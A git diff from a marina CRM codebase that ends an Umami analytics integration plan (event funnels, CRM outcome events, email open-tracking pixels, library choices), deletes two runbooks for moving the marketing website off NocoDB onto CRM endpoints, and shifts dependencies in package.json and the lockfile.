- **Inquiry funnel**: `/` → `/berths` → `/berths/[mooring]` → `inquiry-submitted` event → CRM `eoi-signed` (cross-system!) → CRM `reservation-paid` (cross-system!)
|
||||
- **Email funnel**: `email-sent` → `email-opened` (pixel) → tracked-link click → CRM action
|
||||
|
||||
The cross-system funnels require Phase 4 to be live first.
|
||||
|
||||
---
|
||||
|
||||
### Phase 6 — CRM → Umami event push for outcome attribution (~2-3h)
|
||||
|
||||
Close the funnel from "marketing site click" → "CRM closed deal" by firing CRM-side events back into Umami via `POST /api/send`:
|
||||
|
||||
| Event | Fired by | Payload |
|
||||
| ---------------------- | -------------------------------------------- | --------------------------------------- |
|
||||
| `crm-inquiry-created` | `createInterest()` in `interests.service.ts` | `{interestId, source, leadCategory}` |
|
||||
| `crm-eoi-sent` | `generateAndSign()` after EOI dispatch | `{interestId, berth, pathway}` |
|
||||
| `crm-eoi-signed` | Documenso `DOCUMENT_COMPLETED` webhook | `{interestId, berth}` |
|
||||
| `crm-reservation-paid` | manual stage advance to `deposit_paid` | `{interestId, berth, amount, currency}` |
|
||||
| `crm-contract-signed` | manual stage advance to `contract` | `{interestId, berth, amount, currency}` |
|
||||
|
||||
| Task | File | Effort |
|
||||
| ----------------------------------------------------------------------------------------- | ------------------- | -------- |
|
||||
| Service: `trackEvent(name, payload, sessionId?)` → `POST /api/send` on the Umami instance | `umami.service.ts` | ~45 min |
|
||||
| Hook into the 5 service entry points above (one event per outcome milestone) | each service file | ~1.5h |
|
||||
| Audit log entry per event sent so we can verify Umami received it | `audit_logs` insert | included |
|
||||
|
||||
**Unlock:** Umami's Revenue + Attribution reports start showing CRM outcomes attributed to marketing-site channels — closes the leadership question "which traffic sources actually generate signed deals, not just leads?"
|
||||
|
||||
---
|
||||
|
||||
### Phase 7 — Cross-cutting CRM placements (~3-4h)
|
||||
|
||||
Beyond the dedicated `/website-analytics` page, surface Umami data inside CRM context:
|
||||
|
||||
| Placement | What | Effort |
|
||||
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ------------------------------------ |
|
||||
| **Dashboard rail tile** (already shipped) — Pageviews + active now | already done in this session | — |
|
||||
| **Inquiry detail page** — "Source attribution" card showing the inquiry's UTM params, landing page, time-on-site, pages-viewed-before-submit. Pulls from `getSession(sessionId)` if the inquiry's create payload includes a session ID (requires marketing-site change to pass it). | new `inquiry-attribution-card.tsx` | ~1.5h + marketing-site change |
|
||||
| **Client detail page** — "Website activity" card: total sessions, pageviews, last-seen, top pages visited. Requires `umami.identify({email})` on marketing site to link sessions back to clients. | new `client-web-activity-card.tsx` | ~1.5h + marketing-site identify call |
|
||||
| **Berth detail page** — "Marketing demand" card: pageviews to `/berths/{mooring}` over time + referrer breakdown. Drives "this berth is being viewed but not inquired-about — flag for outreach." | new `berth-demand-card.tsx` | ~1h |
|
||||
| **Document send activity** — pixel opens per recipient (from Phase 4b) | inline on existing `document_sends` rows | included in 4b |
|
||||
|
||||
---
|
||||
|
||||
## 2b. Library adoptions (changes the plan materially)
|
||||
|
||||
Context7 lookup surfaced three official libraries that reshape the plan. **Adopt all three.**
|
||||
|
||||
### `@umami/api-client` — official read-side client
|
||||
|
||||
Covers every read endpoint we need including all the report types. Built-in filter support, login/JWT auth handled internally, `{ok, data}` discriminated union for clean error handling.
|
||||
|
||||
**Replaces:** ~60-70% of our current `umami.service.ts` (drop `umamiFetch`, JWT cache, decrypt boilerplate; keep thin wrappers with existing signatures so consumers don't change).
|
||||
|
||||
**One-time refactor (~2h):**
|
||||
|
||||
```ts
|
||||
const clientByPort = new Map<string, UmamiApiClient>();
|
||||
|
||||
async function getClient(portId: string): Promise<UmamiApiClient | null> {
|
||||
if (clientByPort.has(portId)) return clientByPort.get(portId)!;
|
||||
const cfg = await loadUmamiConfig(portId);
|
||||
if (!cfg) return null;
|
||||
const client = new UmamiApiClient({
|
||||
apiEndpoint: `${cfg.apiUrl}/api`,
|
||||
apiKey: cfg.apiToken ?? undefined,
|
||||
});
|
||||
if (!cfg.apiToken && cfg.username && cfg.password) await client.login(cfg.username, cfg.password);
|
||||
clientByPort.set(portId, client);
|
||||
return client;
|
||||
}
|
||||
|
||||
export async function getStats(portId: string, range: DateRange) {
|
||||
const client = await getClient(portId);
|
||||
if (!client) return null;
|
||||
const { from, to } = rangeToBounds(range);
|
||||
const result = await client.getWebsiteStats(WEBSITE_ID, {
|
||||
startAt: from.getTime(),
|
||||
endAt: to.getTime(),
|
||||
});
|
||||
return result.ok ? result.data : null;
|
||||
}
|
||||
```
|
||||
|
||||
Same pattern for `getPageviewsSeries`, `getMetric`, `getActiveVisitors`, plus new ones from the SDK: `getRealtime`, `getWebsiteSessionStats`, `runFunnelReport`, `runJourneyReport`, etc.
|
||||
|
||||
### `@umami/node` — official write-side SDK
|
||||
|
||||
For Phase 6 (CRM → Umami push) and Phase 4b cross-post:
|
||||
|
||||
```ts
|
||||
const umami = new Umami({ websiteId, hostUrl });
|
||||
await umami.track({
|
||||
url: '/crm/eoi-signed',
|
||||
name: 'crm-eoi-signed',
|
||||
data: { interestId, berth, dealValue },
|
||||
});
|
||||
await umami.identify({ sessionId, email, interestId });
|
||||
```
|
||||
|
||||
**Replaces:** the planned hand-rolled `trackEvent()` wrapper. Single line per outcome milestone.
|
||||
|
||||
### `react-simple-maps` — for the world heatmap (Phase 1b)
|
||||
|
||||
Declarative SVG choropleth on d3-geo + topojson-client. SSR-safe. Use `topojson/world-atlas` (110m resolution ~30KB) cached in `public/`. Bundle ~30-50KB + topojson 30-100KB.
|
||||
|
||||
```jsx
|
||||
<ComposableMap projection="geoMercator">
|
||||
<Geographies geography="/world-110m.json">
|
||||
{({ geographies }) =>
|
||||
geographies.map((geo) => (
|
||||
<Geography
|
||||
key={geo.rsmKey}
|
||||
geography={geo}
|
||||
fill={scaleByVisitorCount(visitorsByCountry[geo.properties.iso_a2] ?? 0)}
|
||||
onClick={() => onCountryClick(geo.properties.iso_a2)}
|
||||
/>
|
||||
))
|
||||
}
|
||||
</Geographies>
|
||||
</ComposableMap>
|
||||
```
|
||||
|
||||
**Chose this over visx/Nivo/Chart.js Geo:** visx is overkill for one map; Nivo + Chart.js force a different charting idiom (we use recharts everywhere); react-simple-maps' compose-primitives shape matches our recharts pattern.
|
||||
|
||||
### Net effect on phase efforts
|
||||
|
||||
| Phase | Original estimate | Revised after library adoption |
|
||||
| ---------------------------------------- | ----------------- | --------------------------------------------------------------- |
|
||||
| Service refactor (one-time) | — | **+2h** (one-time foundation; pays back across all phases) |
|
||||
| Phase 1 — Overview parity | 3-4h | 3-4h (unchanged; api-client makes the filter additions trivial) |
|
||||
| Phase 1b — World heatmap | 4-6h | 3-4h (library choice locked in) |
|
||||
| Phase 2 — Sessions | 4-5h | 3-4h (api-client has session methods built-in) |
|
||||
| Phase 3 — Events | 3-4h | 2-3h (api-client provides) |
|
||||
| Phase 4b — Pixel hybrid | 3-4h | 2.5-3h (cross-post is one line) |
|
||||
| Phase 5 — Reports (funnels/UTM/journeys) | 6-8h | 3-4h (every report method pre-wrapped) |
|
||||
| Phase 6 — CRM → Umami push | 2-3h | 1.5h (`@umami/node` handles transport) |
|
||||
|
||||
**Total scope drops from ~30-40h to ~22-28h** with these adoptions.
|
||||
|
||||
---
|
||||
|
||||
## 3. Service-layer additions consolidated
|
||||
|
||||
Add to `src/lib/services/umami.service.ts` (each is a thin wrapper around existing `umamiFetch` / new `umamiPost`):
|
||||
|
||||
```ts
|
||||
// Sessions (Phase 2)
|
||||
getSessions(portId, range, { page?, pageSize?, query? }) → /sessions
|
||||
getSession(portId, sessionId) → /sessions/:id
|
||||
getSessionActivity(portId, sessionId, range) → /sessions/:id/activity
|
||||
getSessionProperties(portId, sessionId) → /sessions/:id/properties
|
||||
getSessionsWeekly(portId, range, timezone) → /sessions/weekly
|
||||
|
||||
// Events (Phase 3)
|
||||
getEvents(portId, range, opts) → /events
|
||||
getEventsStats(portId, range) → /events/stats
|
||||
getEventsSeries(portId, range, eventName, unit) → /events/series
|
||||
getEventDataProperties(portId, range) → /event-data/properties
|
||||
|
||||
// Realtime (Phase 1)
|
||||
getRealtime(portId, range) → /api/realtime/:id (richer than /active)
|
||||
|
||||
// Reports (Phase 5)
|
||||
getReport(portId, reportType, body) → POST /api/reports/:type (funnel/journey/utm/goals/retention/revenue/attribution)
|
||||
|
||||
// CRM → Umami (Phase 6)
|
||||
trackEvent(portId, name, payload, sessionId?) → POST /api/send
|
||||
|
||||
// Links + Pixels admin (Phase 4)
|
||||
createTrackedLink(portId, name, destinationUrl) → POST team-level /links
|
||||
createTrackingPixel(portId, name) → POST team-level /pixels
|
||||
```
|
||||
|
||||
Plus a new `umamiPost(config, path, body)` helper alongside the existing `umamiFetch` since GET-only doesn't cover reports + send.
|
||||
|
||||
---
|
||||
|
||||
## 4. Pixel-tracking answer (the user's specific question)
|
||||
|
||||
**Q: Can we use Umami's pixel tracking for email opens?**
|
||||
|
||||
**A: Yes — and recommended in hybrid form.** Direct verification on the live instance:
|
||||
|
||||
- Pixel UI at `/teams/[teamId]/pixels` lets an admin create named pixels. Each gets an auto-generated slug.
|
||||
- The pixel URL is `https://analytics.portnimara.com/p/<slug>` — fetching it records an event (no auth required from the email client side; the slug is the credential).
|
||||
- Embedded as `<img src="..." width="1" height="1" />` in HTML emails, it fires when the email is rendered (Outlook/Apple Mail/etc.).
|
||||
- Standard caveats: Apple Mail privacy protection pre-fetches images server-side → opens may be over-counted for iOS users. Some recipients block images entirely → opens under-counted. Same caveats as every email tracking pixel ever.
|
||||
|
||||
**Recommended hybrid (Phase 4b above):** build a CRM-side pixel endpoint `/api/public/email-pixel/[sendId].gif` that:
|
||||
|
||||
- Returns the 1×1 GIF
|
||||
- Records `opened_at` in `document_sends`
|
||||
- Cross-posts the hit to Umami via `POST /api/send` so the Umami Events tab + funnels include opens
|
||||
|
||||
This way: per-recipient attribution in the CRM, aggregate roll-ups in Umami, single source of truth for both.
|
||||
|
||||
---
|
||||
|
||||
## 5. Effort summary + prioritization
|
||||
|
||||
| Phase | Scope | Effort | Priority |
|
||||
| ----- | ------------------------------------------------------------------------------------ | ---------------------- | ------------------------------------------------------------ |
|
||||
| 1 | Overview parity (KPI tiles, stacked-bar chart, date arrows, browser/OS/device cards) | ~3-4h | **High** — most visible polish, no dependencies |
|
||||
| 1b | World choropleth heatmap (already queued separately) | ~4-6h | **High** if leadership wants the visual |
|
||||
| 2 | Sessions surface (table + detail sheet + weekly heatmap) | ~4-5h | **High** — biggest "wow" + actionable |
|
||||
| 3 | Events surface | ~3-4h | **Medium** — blocked on 4a |
|
||||
| 4a | Marketing-site event tracking | ~2-3h (marketing repo) | **High** — unblocks 3 + 5 |
|
||||
| 4b | Pixel-based email open tracking (hybrid) | ~3-4h | **High** — direct ask + immediate value |
|
||||
| 4c | Tracked redirect links | ~1.5h | **Medium** |
|
||||
| 5 | Reports (Funnels, UTM, Journeys) | ~6-8h | **Medium** — depends on 4a being live |
|
||||
| 6 | CRM → Umami event push for outcome attribution | ~2-3h | **Medium-high** — needed to close marketing→outcome loop |
|
||||
| 7 | Cross-cutting placements (inquiry / client / berth detail cards) | ~3-4h | **Medium** — depends on `umami.identify()` on marketing site |
|
||||
|
||||
**Recommended build order (updated 2026-05-19 per user):**
|
||||
|
||||
1. ✅ **Service refactor** — Kept hand-rolled `umamiFetch` (the official `@umami/api-client` transitively pulls `next-basics` which requires React at module-import time, breaking SSR + tsx scripts). Adopted `@umami/node` for the write side.
|
||||
2. ✅ **Phase 1** — Overview parity (KPI tiles + browser/OS/device cards + date arrows + stacked-bar chart + `compare=prev` overlay)
|
||||
3. ✅ **Phase 1b** — World heatmap. **Switched from `react-simple-maps` to ECharts + `public/world-map/echarts-world.json`** — the `world-atlas/110m` topojson has antimeridian-crossing polygons (Russia/Fiji/Antarctica) that render a horizontal line through the equator regardless of projection. ECharts' world.json is pre-cleaned.
|
||||
4. ✅ **Phase 4b** — Pixel-based email open tracking. `document_send_opens` table + `/api/public/email-pixel/[sendId]` endpoint + `injectTrackingPixel` helper wired into `performSend`. Per-port kill switch `email_open_tracking_enabled` (admin UI on `/admin/website-analytics`). Cross-posts to Umami as `email-opened`.
|
||||
5. ✅ **Phase 2** — Sessions surface. `SessionsList` (paginated, click-through to detail), `SessionDetailSheet` (full activity stream), `WeeklyHeatmap` (7×24 grid). API endpoints `sessions`, `session`, `session-activity`, `sessions-weekly`.
|
||||
6. ✅ **Phase 6** — CRM → Umami event push. `trackEvent` calls wired into `createInterest` (`interest-created`), `updateInterestStage` (`interest-stage-changed`), `setInterestOutcome` (`interest-outcome-set`).
|
||||
7. ✅ **Phase 7** — Cross-cutting placements. `email-sent` (in `performSend`), `eoi-signed` (in `handleDocumentCompleted`). Remaining placements (inquiry / berth detail attribution cards) defer until UI surfaces them.
|
||||
8. ✅ **Phase 4c** — Tracked redirect links. `tracked_links` + `tracked_link_clicks` tables + `/q/[slug]` redirect endpoint + `createTrackedLink` / `buildTrackedUrl` service helpers. Email-composer integration deferred to UI follow-up.
|
||||
9. **Phase 3 + Phase 5 — DEFERRED to the end.** Events tab is empty until marketing-site `umami.track()` calls land (Phase 4a, deferred). Funnels save for the end per user direction — pageview-only marketing funnel is the v1; richer event-based funnels come later.
|
||||
10. **Phase 4a + cross-system funnels** — when there's appetite for marketing-site repo changes, unlock Events tab + cross-system funnels.
|
||||
|
||||
**Total scope: ~22-28h** with library adoptions, of which ~13-15h is the high-priority Phases 1 + 1b + 4b + 2 + 6 that ship first.
|
||||
|
||||
Total scope: ~30-40h end-to-end for the full flesh-out.
|
||||
|
||||
---
|
||||
|
||||
## 6. What stays in Umami vs. mirrored in CRM
|
||||
|
||||
| In CRM (mirror) | In Umami only (deep-link) |
|
||||
| ----------------------------------------------------------- | ----------------------------------------------------------------- |
|
||||
| Overview / KPI tiles / trend chart | Replays (paid) |
|
||||
| Sessions list + detail | Retention (low signal) |
|
||||
| Top pages / referrers / countries / browsers / OS / devices | Saved Boards (admin power-user) |
|
||||
| Events + per-event drill | Pixels/Links admin CRUD (use Umami for setup; render data in CRM) |
|
||||
| Funnels + UTM + Journeys | Performance / Web Vitals |
|
||||
| World heatmap | Cohorts / Segments (defer until use case emerges) |
|
||||
| Email open tracking | Multi-website CRUD |
|
||||
|
||||
Every page header in the CRM analytics surface gets a small "View in Umami →" outbound link in the corner for power users who want the full feature surface.
|
||||
|
||||
---
|
||||
|
||||
## 7. Open questions for the user before implementation
|
||||
|
||||
1. **Marketing site repo access**: Phase 4a (umami.track calls), Phase 4 (umami.identify for client linkage), and Phase 7 (passing sessionId to inquiry intake) all require changes there. Confirm whoever owns the marketing site is in the loop.
|
||||
2. **Pixel hybrid vs Umami-only**: do you want per-recipient open tracking (hybrid) or just aggregate (Umami-only)? Recommended hybrid above; switch to Umami-only if the engineering cost isn't worth it.
|
||||
3. **Funnel definitions**: who defines the canonical funnels? Suggest admins set them up via a CRM-side admin page that POSTs to Umami's `/api/reports/funnel`, with the most important funnels (inquiry, email-conversion) seeded as defaults at install time.
|
||||
4. **Privacy / GDPR**: email pixel tracking + `umami.identify({email})` linkage both touch PII. Confirm consent model — likely already handled by the marketing-site cookie banner, but the email pixel needs explicit opt-out handling (e.g. don't fire pixel if the recipient is in a do-not-track list).
|
||||
@@ -1,124 +0,0 @@
|
||||
# Website ↔ CRM cutover runbook
|
||||
|
||||
This document captures the agreed plan (per the 2026-05-09 audit, Q6) for
|
||||
moving the marketing website off the legacy NocoDB Berths table and onto
|
||||
the CRM as the source of truth. Decision: **double-write transition
|
||||
window** — both feeds stay live for ~30 days, then NocoDB is decommissioned.
|
||||
|
||||
The CRM side is fully wired today. Most outstanding work lives in the
|
||||
**website repo**.
|
||||
|
||||
---
|
||||
|
||||
## Endpoints involved
|
||||
|
||||
### Public berth feed (replaces NocoDB Berths read path)
|
||||
|
||||
- `GET /api/public/berths` — list (NocoDB-verbatim shape; see
|
||||
`src/lib/services/public-berths.ts`)
|
||||
- `GET /api/public/berths/[mooringNumber]` — single
|
||||
- Cache: `s-maxage=300, stale-while-revalidate=60` (5 min)
|
||||
- Status mapping: `Sold` > `Under Offer` > `Available`
|
||||
|
||||
### Public inquiry intake (replaces NocoDB inquiry write path)
|
||||
|
||||
- `POST /api/public/website-inquiries` — accepts inquiry form submissions
|
||||
from the marketing site
|
||||
- Auth: shared secret in `X-Intake-Secret` header, compared via timing-safe
|
||||
equality against `WEBSITE_INTAKE_SECRET`. Refuses every request when the
|
||||
env var is unset (correct posture for dev / staging until the website is
|
||||
also configured).
|
||||
|
||||
### Health endpoint (monitoring contract)
|
||||
|
||||
- `GET /api/public/health` — anonymous: `{status, timestamp}` (always 200,
|
||||
for uptime monitors). Authenticated with `X-Intake-Secret`: full
|
||||
`{status, env, appUrl, timestamp, checks: {db, redis}}` payload, returns
|
||||
503 when any dependency is down. The website calls the authenticated
|
||||
variant on startup so it refuses to boot when its `CRM_PUBLIC_URL`
|
||||
points at the wrong env.
|
||||
|
||||
---
|
||||
|
||||
## Pre-cutover checklist (CRM side — done)
|
||||
|
||||
- [x] `/api/public/berths` serves Map Data (117 rows backfilled
|
||||
2026-05-09).
|
||||
- [x] PublicBerth payload exposes verbatim NocoDB fields, plus
|
||||
booleans / metric variants / timestamps (commit `72ab718`). Price
|
||||
intentionally omitted (decision Q4).
|
||||
- [x] `/api/public/website-inquiries` POST handler exists, gated on
|
||||
`WEBSITE_INTAKE_SECRET`.
|
||||
- [x] `WEBSITE_INTAKE_SECRET` documented in `.env.example`.
|
||||
|
||||
## Pre-cutover checklist (website repo — owed)
|
||||
|
||||
- [ ] Generate a strong shared secret (`openssl rand -hex 32`) and set
|
||||
`CRM_INTAKE_SECRET` (website) **and** `WEBSITE_INTAKE_SECRET` (CRM)
|
||||
to the same value in production.
|
||||
- [ ] Wire the website's berth-map fetch to `${CRM_PUBLIC_URL}/api/public/berths`.
|
||||
Keep the existing NocoDB fetch in parallel for the transition window.
|
||||
- [ ] Wire the website's inquiry submit handler to `POST` to
|
||||
`${CRM_PUBLIC_URL}/api/public/website-inquiries` with the
|
||||
`X-Intake-Secret` header. Keep the existing NocoDB write in parallel.
|
||||
- [ ] Add a startup probe to `${CRM_PUBLIC_URL}/api/public/health`
|
||||
(authenticated) so the website fails fast on misconfigured env.
|
||||
|
||||
## Double-write window (target: 30 days)
|
||||
|
||||
During the window:
|
||||
|
||||
1. Marketing site reads from BOTH feeds for any change-detection or
|
||||
reconciliation jobs (or just CRM if reads can flip atomically).
|
||||
2. Marketing site writes inquiries to BOTH NocoDB and CRM. The CRM
|
||||
surface is treated as authoritative for triage; NocoDB stays as a
|
||||
passive backup so the rollback path is one DNS / env flip away.
|
||||
3. Berth status edits made in CRM are NOT synced back to NocoDB.
|
||||
NocoDB will progressively go stale — accepted because the website is
|
||||
already preferring the CRM read. NocoDB stays usable as a snapshot of
|
||||
pre-cutover state.
|
||||
4. Daily sanity check: `curl -s ${CRM_PUBLIC_URL}/api/public/berths | jq '.pageInfo'`
|
||||
— confirms the public feed still serves and the row count matches
|
||||
expectations (117 berths in port-nimara).
|
||||
|
||||
## Cutover steps (target: ~Day 30)
|
||||
|
||||
1. Stop the NocoDB-side writes from the website (drop the dual write).
|
||||
2. Stop the NocoDB-side reads from the website (CRM-only).
|
||||
3. Mark the NocoDB Berths table read-only via NocoDB ACL.
|
||||
4. Wait 7 days; if no one notices anything missing, drop the NocoDB
|
||||
Berths table and revoke the NocoDB MCP token from `~/.claude.json`.
|
||||
|
||||
## Rollback path
|
||||
|
||||
The double-write design means rollback within the 30-day window is a
|
||||
single env / DNS flip:
|
||||
|
||||
- Website: change `CRM_PUBLIC_URL` to the old NocoDB-fronted URL OR
|
||||
toggle a feature flag back to NocoDB.
|
||||
- CRM: no change required — the public endpoints stay live for any
|
||||
consumer that didn't roll back.
|
||||
|
||||
After NocoDB is decommissioned, rollback requires restoring the table
|
||||
from backup. That's the trade-off for the cleaner final state.
|
||||
|
||||
---
|
||||
|
||||
## Open follow-ups
|
||||
|
||||
- **Berth `archived_at`** — when retiring a berth, the public feed will
|
||||
still serve it. Add a soft-delete column + filter on
|
||||
`/api/public/berths` before any berth is permanently removed. (Not
|
||||
blocking the cutover; flagged in the audit.)
|
||||
- **CRM-edit drift vs re-imports** — `scripts/import-berths-from-nocodb.ts`
|
||||
skips rows where `updated_at > last_imported_at`. After cutover the
|
||||
website MUST stop writing to NocoDB; if any straggler write hits
|
||||
NocoDB and someone re-runs the import script, those edits would
|
||||
silently win over CRM data. Mitigation: the script is opt-in, and the
|
||||
`updated_at` guard means a full re-import only overwrites when the
|
||||
rep explicitly passes `--force`. Decommission the script once cutover
|
||||
is irreversible.
|
||||
- **5-minute cache** — `s-maxage=300` on `/api/public/berths` means a
|
||||
CRM-side status flip won't show on the website for up to 5 minutes.
|
||||
Acceptable for marketing; bump if marketing wants near-real-time
|
||||
updates.
|
||||
@@ -1,160 +0,0 @@
|
||||
# Website → CRM wiring refactor
|
||||
|
||||
The `website/` subrepo (Nuxt) currently writes inquiry submissions to NocoDB.
|
||||
The new CRM exposes its own public ingestion endpoints, so the website needs
|
||||
to be re-pointed at the CRM and the website's local server-side helpers can
|
||||
eventually be retired.
|
||||
|
||||
This document describes **what needs to change in the website repo**. Nothing
|
||||
here applies to the CRM repo — that side is already done.
|
||||
|
||||
## Endpoints the CRM now exposes
|
||||
|
||||
Both are unauthenticated, IP-rate-limited (5/hour), and require an explicit
|
||||
port id (query param `?portId=…` or header `X-Port-Id`).
|
||||
|
||||
| Form intent | New CRM endpoint | Old NocoDB target |
|
||||
| -------------------- | ---------------------------------------- | ------------------------ |
|
||||
| Berth interest | `POST /api/public/interests` | `Interests` (NocoDB) |
|
||||
| Residential interest | `POST /api/public/residential-inquiries` | `Interests (Residences)` |
|
||||
|
||||
Notification emails (client confirmation + sales-team alert) are sent by the
|
||||
CRM itself when these endpoints succeed, so the website's
|
||||
`sendRegistrationEmails` helper (`server/utils/email.ts`) is no longer
|
||||
required for these flows.
|
||||
|
||||
## Required changes in the website repo
|
||||
|
||||
### 1. New env vars
|
||||
|
||||
Add to `.env` and the deploy environment:
|
||||
|
||||
```
|
||||
PN_CRM_BASE_URL=https://crm.portnimara.com
|
||||
PN_CRM_PORT_ID=<uuid of the Port Nimara port row in CRM>
|
||||
```
|
||||
|
||||
`PN_CRM_BASE_URL` defaults to the prod CRM. In dev it can point to the local
|
||||
tunnel (`shoulder-contain-…trycloudflare.com`) so submissions hit a dev DB.
|
||||
|
||||
### 2. Refactor `server/api/register.ts`
|
||||
|
||||
Today the file owns both the berth and residence branches and writes to
|
||||
NocoDB directly. After the refactor, both branches just relay to the CRM:
|
||||
|
||||
```ts
|
||||
const baseUrl = process.env.PN_CRM_BASE_URL;
|
||||
const portId = process.env.PN_CRM_PORT_ID;
|
||||
|
||||
if (category === 'Residences') {
|
||||
await $fetch(`${baseUrl}/api/public/residential-inquiries?portId=${portId}`, {
|
||||
method: 'POST',
|
||||
body: {
|
||||
firstName: body.first_name,
|
||||
lastName: body.last_name,
|
||||
email: body.email,
|
||||
phone: body.phone,
|
||||
placeOfResidence: body.address,
|
||||
preferredContactMethod: body.method_of_contact, // 'email' | 'phone'
|
||||
notes: body.notes,
|
||||
// preferences: collect via new optional textarea (see section 4)
|
||||
},
|
||||
});
|
||||
return { success: true };
|
||||
}
|
||||
|
||||
// Berth branch
|
||||
await $fetch(`${baseUrl}/api/public/interests?portId=${portId}`, {
|
||||
method: 'POST',
|
||||
body: {
|
||||
// map to the CRM's publicInterestSchema (see src/lib/validators/interests.ts)
|
||||
firstName: body.first_name,
|
||||
lastName: body.last_name,
|
||||
email: body.email,
|
||||
phone: body.phone,
|
||||
address: body.address,
|
||||
berthSize: body.berth_size,
|
||||
berthMinLength: body.berth_min_length,
|
||||
berthMinWidth: body.berth_min_width,
|
||||
berthMinDraught: body.berth_min_draught,
|
||||
yachtName: body.berth_yacht_name,
|
||||
preferredMethodOfContact: body.method_of_contact,
|
||||
specificBerthMooring: body.berth, // optional, links interest to a specific berth
|
||||
},
|
||||
});
|
||||
return { success: true };
|
||||
```
|
||||
|
||||
The reCAPTCHA verification stays in the website handler — the CRM trusts the
|
||||
website to gate its public endpoints.
|
||||
|
||||
### 3. Retire dead code
|
||||
|
||||
After step 2, the following can be deleted from the website:
|
||||
|
||||
- `server/utils/websiteInterests.ts`
|
||||
- `server/utils/residentialInterests.ts`
|
||||
- `server/utils/nocodb.ts`
|
||||
- The NocoDB-specific call sites in `server/utils/email.ts` (the CRM
|
||||
sends its own confirmation/alert emails)
|
||||
- NocoDB env vars (`NOCODB_*`)
|
||||
|
||||
The Nuxt `/api/berths` route stays as-is — it reads from the
|
||||
`directus_items.berths` collection for the public site, not the CRM.
|
||||
|
||||
### 4. Form additions on `pages/register.vue`
|
||||
|
||||
The current residence branch only collects contact info. The CRM accepts an
|
||||
optional `preferences` field (free-text) and `notes` field. Add a
|
||||
"Preferences" textarea inside the residences block of
|
||||
`components/pn/specific/website/register/form.vue`:
|
||||
|
||||
```vue
|
||||
<transition name="fade-down">
|
||||
<div v-show="interest === 'residences'">
|
||||
<vee-field
|
||||
as="textarea"
|
||||
class="form-input py-3 px-0 md:text-lg border-0 border-t border-davysgrey ..."
|
||||
placeholder="Tell us what you're looking for (unit type, budget, timeline)"
|
||||
name="residence_preferences"
|
||||
:disabled="loading"
|
||||
/>
|
||||
</div>
|
||||
</transition>
|
||||
```
|
||||
|
||||
Append `preferences: body.residence_preferences` in the POST body in
|
||||
`server/api/register.ts`.
|
||||
|
||||
### 5. Stand up a residential-only `residences.vue` form (optional)
|
||||
|
||||
Today the residences interest is captured on `register.vue` via a radio. If
|
||||
the marketing team wants a dedicated CTA on `residences.vue`, add a small
|
||||
inline form using the same submit handler from step 2. No new endpoint —
|
||||
this is purely a UX addition.
|
||||
|
||||
## Deployment order
|
||||
|
||||
1. **CRM first**: deploy this repo, ensure `/api/public/interests` and
|
||||
`/api/public/residential-inquiries` are reachable from the website host.
|
||||
2. **Verify in CRM**: configure `Inquiry Contact Email` and (for residential)
|
||||
`Residential Notification Recipients` per port in
|
||||
admin → settings.
|
||||
3. **Smoke test from a dev tunnel** (curl the public endpoints with a JSON
|
||||
payload). Confirm rows land in `clients`/`residential_clients` and
|
||||
notification emails are received.
|
||||
4. **Then deploy website changes** (sections 1–3 above). The form
|
||||
submissions immediately start landing in the new CRM.
|
||||
5. **Cut-over note**: once the website is pointed at the CRM, leave the
|
||||
NocoDB tables read-only as a historical archive. Don't delete them until
|
||||
prod data has been imported into the new CRM (see "Prod data import
|
||||
strategy" task #59 in the task list).
|
||||
|
||||
## Open questions
|
||||
|
||||
- **Port routing for multi-port deploys**: today the website only knows about
|
||||
Port Nimara. If/when the website serves multiple ports, the `portId`
|
||||
resolution needs to happen per-domain or per-route, not a single env var.
|
||||
- **Brand/email domain**: confirm whether residential confirmations should
|
||||
send from the same `noreply@letsbe.solutions` address as marina, or a
|
||||
dedicated residential mailbox. The CRM uses `SMTP_FROM`, which is global.
|
||||
@@ -37,6 +37,7 @@
|
||||
"@dnd-kit/utilities": "^3.2.2",
|
||||
"@formkit/auto-animate": "^0.9.0",
|
||||
"@hookform/resolvers": "^5.2.2",
|
||||
"@next/bundle-analyzer": "^16.2.6",
|
||||
"@radix-ui/react-accordion": "^1.2.12",
|
||||
"@radix-ui/react-alert-dialog": "^1.1.15",
|
||||
"@radix-ui/react-avatar": "^1.1.11",
|
||||
@@ -79,6 +80,7 @@
|
||||
"country-flag-icons": "^1.6.17",
|
||||
"cron-parser": "^5.5.0",
|
||||
"date-fns": "^4.1.0",
|
||||
"docx-preview": "^0.3.7",
|
||||
"drizzle-orm": "^0.45.2",
|
||||
"echarts": "^6.0.0",
|
||||
"echarts-for-react": "^3.0.6",
|
||||
@@ -140,7 +142,6 @@
|
||||
"@axe-core/playwright": "^4.11.3",
|
||||
"@faker-js/faker": "^10.4.0",
|
||||
"@hookform/devtools": "^4.4.0",
|
||||
"@next/bundle-analyzer": "^16.2.6",
|
||||
"@playwright/test": "^1.60.0",
|
||||
"@tailwindcss/postcss": "^4.3.0",
|
||||
"@total-typescript/ts-reset": "^0.6.1",
|
||||
|
||||
16
pnpm-lock.yaml
generated
16
pnpm-lock.yaml
generated
@@ -28,6 +28,9 @@ importers:
|
||||
'@hookform/resolvers':
|
||||
specifier: ^5.2.2
|
||||
version: 5.2.2(react-hook-form@7.75.0(react@19.2.6))
|
||||
'@next/bundle-analyzer':
|
||||
specifier: ^16.2.6
|
||||
version: 16.2.6
|
||||
'@radix-ui/react-accordion':
|
||||
specifier: ^1.2.12
|
||||
version: 1.2.12(@types/react-dom@19.2.3(@types/react@19.2.14))(@types/react@19.2.14)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
|
||||
@@ -154,6 +157,9 @@ importers:
|
||||
date-fns:
|
||||
specifier: ^4.1.0
|
||||
version: 4.1.0
|
||||
docx-preview:
|
||||
specifier: ^0.3.7
|
||||
version: 0.3.7
|
||||
drizzle-orm:
|
||||
specifier: ^0.45.2
|
||||
version: 0.45.2(@opentelemetry/api@1.9.1)(@types/pg@8.15.6)(gel@2.2.0)(kysely@0.28.17)(postgres@3.4.9)
|
||||
@@ -332,9 +338,6 @@ importers:
|
||||
'@hookform/devtools':
|
||||
specifier: ^4.4.0
|
||||
version: 4.4.0(@types/react@19.2.14)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
|
||||
'@next/bundle-analyzer':
|
||||
specifier: ^16.2.6
|
||||
version: 16.2.6
|
||||
'@playwright/test':
|
||||
specifier: ^1.60.0
|
||||
version: 1.60.0
|
||||
